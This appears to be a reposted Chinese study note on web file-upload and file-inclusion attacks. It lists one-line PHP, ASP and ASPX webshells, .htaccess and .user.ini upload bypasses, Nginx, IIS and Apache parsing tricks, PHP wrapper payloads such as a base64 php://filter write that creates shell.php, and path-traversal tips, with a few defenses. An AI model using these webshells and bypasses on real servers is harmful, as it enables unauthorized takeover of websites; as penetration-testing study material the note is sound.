文件上传笔记整理
            
            
                
        
        
        
                
                    -  
文件上传
 
   
  - 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
 
 -  
成功条件
 
   
   
   -  
文件上传的流程
 
   
   
   
   
   -  
常用的一句话木马
 
  -  
php
 
    - <?php @eval($_GET['cmd']);?>
 
 
    - <?php @eval($_POST['cmd']);?>
 
 
    - <?php @eval($_REQUEST['cmd']);?>
 
 
 
  -  
asp
 
    - <% eval request('cmd') %>
 
 
 
  -  
aspx
 
    - <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
 
 
 -  
文件上传的几种情况
 
  -  
前端JS绕过(验证文件后缀)
 
     
     
    - F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
 
 
    - F12检查页面代码,替换JS文件(检查窗口不能关闭)
 
 
 
  -  
后端MIME类型绕过(验证MIME类型)
 
    - BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
 
 
 
  -  
后端文件后缀名验证+文件内容验证
 
    -  
黑名单验证
 
       
      - 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用) 
        
- <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
 
 
        - SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
 
 
 
      - user.ini文件绕过 
        
- .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
 
 
        - auto_prepend_file=1.png;开头被包含
 
 
        - auto_append_file=1.png; 结尾被包含
 
 
 
       
       
       
       
       
       
       
       
       
 
     
    -  
解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
 
      -  
Nginx
 
        - 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37) 
          
 
 
        - cgi.fix_pathinfo问题 
          
- 解释:例如/info.jpg/1.php/2.zhide 
            
- 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
 
 
 
          - 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马) 
             
             
            
 
 
 
        - 解决方式: 
          
- 设置php.ini中的 cgi.fix_pathinfo=0;
 
 
           
           
          - 高版本设置security.limit_extensions = .php;限制php文件执行
 
 
 
 
      -  
IIS
 
        - IIS5.x~IIS6.x 
           
           
          
- test.asa/ test.cer/ test.cdx/
 
 
           
 
        - IIS7.x 
          
- 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
 
 
           
          - 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
 
 
 
 
      -  
Apache
 
        - 2.4.0~2.4.29 
          
- $可以匹配\n \r等字符;(换行解析漏洞) 

  
 
           
           
           
 
        - 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞) 
          
- test.php.php123 (从右往左进行判断解析)
 
 
 
        - Add Handler解析漏洞 
          
- 如果用户手动设置了.php文件的解析 
            
- AddHandler php5-script .php 
              
- test2.php.jpg绕过;后缀存在php就用php进行解析
 
 
 
            - AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析) 
              
 
 
 
           
 
 
 
 -  
文件包含
 
   
   
  -  
php伪协议
 
    - allow_url_fopen默认开启 allow_url_include默认关闭 
      
- 常用的伪协议示例 

  
 
 
     
    -  
php://
 
      - 常用 
        
-  
php://filter/read=convert.base64-encode/resource=./index
 
           
          - 参数格式 
            
- resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
 
 
            - read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
 
 
            - write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表> 
              
- filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
 
 
               
 
            - 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
 
 
 
           
 
        -  
php://input+POST请求内容(具体内容必须写在POST请求体中)
 
          - 元数据的只读流;allow_url_include=On时可用
 
 
          - 注:当enctype=”multipart/form-data”时,php://input是无效的。
 
 
 
 
       
      - php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
 
 
 
    -  
https/http://+url地址
 
      - allow_url_include=On;allow_url_open=On;
 
 
       
 
    -  
压缩流
 
      - zip://压缩文件绝对路径%23压缩包中文件名 
         
         
        
- zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
 
 
 
      - compress.bzip2://[文件绝对路径|文件相对路径] 
        
 
 
      - compress.zlib://[文件绝对路径|文件相对路径] 
        
 
 
      - phar://[文件绝对路径|文件相对路径]/[子文件名称] 
        
 
 
 
    -  
data://text/plain 具体命令
 
      - allow_url_fopen=On allow_url_include=On
 
 
      - data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
 
 
       
 
     
     
     
     
     
 -  
文件包含防御
 
  - allow_url_include和allow_url_fopen关闭;
 
 
  - 对用户包含的文件进行限制,如白名单、open_basedir;
 
 
   
   
   -  
文件下载
 
  - 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
 
 
   -  
小技巧
 
  - WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
 
 
  - 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
 
 
  -  
文件上传绕过步骤(大致思路)
 
     
     
    - 乱码后缀检测对方的验证方式(确认黑名单还是白名单) 
       
      
 
 
 
                 
         
        
             
            
            
              
                本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1401901.html
              
              如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!